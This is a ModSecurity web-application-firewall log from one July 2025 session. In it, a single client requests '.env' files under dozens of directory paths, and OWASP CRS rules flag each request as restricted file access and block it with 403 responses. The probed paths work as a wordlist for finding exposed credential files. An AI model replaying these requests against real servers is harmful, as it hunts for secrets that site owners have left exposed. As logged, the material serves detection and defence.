[Mon Jul 28 20:46:09.663214 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzgAAAAc&quot;]
[Mon Jul 28 20:46:09.683263 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-firebase-authentication-serverless/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzwAAAAc&quot;]
[Mon Jul 28 20:46:09.683460 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzwAAAAc&quot;]
[Mon Jul 28 20:46:09.683647 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzwAAAAc&quot;]
[Mon Jul 28 20:46:09.703689 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-react-relay-network-modern/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhj0AAAAAc&quot;]
[Mon Jul 28 20:46:09.703901 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhj0AAAAAc&quot;]
[Mon Jul 28 20:46:09.704083 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhj0AAAAAc&quot;]
[Mon Jul 28 20:46:09.726017 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-relay-modern/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhj0QAAAAc&quot;]
[Mon Jul 28 20:46:09.726233 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhj0QAAAAc&quot;]
[Mon Jul 28 20:46:09.726431 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhj0QAAAAc&quot;]
[Mon Jul 28 20:46:09.746511 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-universal-configuration-build-time/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhj0gAAAAc&quot;]
[Mon Jul 28 20:46:09.746722 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhj0gAAAAc&quot;]
[Mon Jul 28 20:46:09.746885 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhj0gAAAAc&quot;]
[Mon Jul 28 20:46:09.906286 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exercise.frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IjgAAAAA&quot;]
[Mon Jul 28 20:46:09.906553 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IjgAAAAA&quot;]
[Mon Jul 28 20:46:09.906739 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IjgAAAAA&quot;]
[Mon Jul 28 20:46:09.926964 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exercise.frontend/train/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IjwAAAAA&quot;]
[Mon Jul 28 20:46:09.927181 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IjwAAAAA&quot;]
[Mon Jul 28 20:46:09.927333 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IjwAAAAA&quot;]
[Mon Jul 28 20:46:09.947787 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /export/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IkAAAAAA&quot;]
[Mon Jul 28 20:46:09.947992 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IkAAAAAA&quot;]
[Mon Jul 28 20:46:09.948146 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IkAAAAAA&quot;]
[Mon Jul 28 20:46:09.968188 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fastlane/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IkQAAAAA&quot;]
[Mon Jul 28 20:46:09.968388 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IkQAAAAA&quot;]
[Mon Jul 28 20:46:09.968544 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IkQAAAAA&quot;]
[Mon Jul 28 20:46:09.988666 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /favicons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IkgAAAAA&quot;]
[Mon Jul 28 20:46:09.988851 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IkgAAAAA&quot;]
[Mon Jul 28 20:46:09.989020 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aIfFccc5NK034Azyi1-IkgAAAAA&quot;]
[Mon Jul 28 20:46:10.009065 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /favs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IkwAAAAA&quot;]
[Mon Jul 28 20:46:10.009252 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IkwAAAAA&quot;]
[Mon Jul 28 20:46:10.009399 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IkwAAAAA&quot;]
[Mon Jul 28 20:46:10.029449 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fe/huey/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlAAAAAA&quot;]
[Mon Jul 28 20:46:10.029629 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlAAAAAA&quot;]
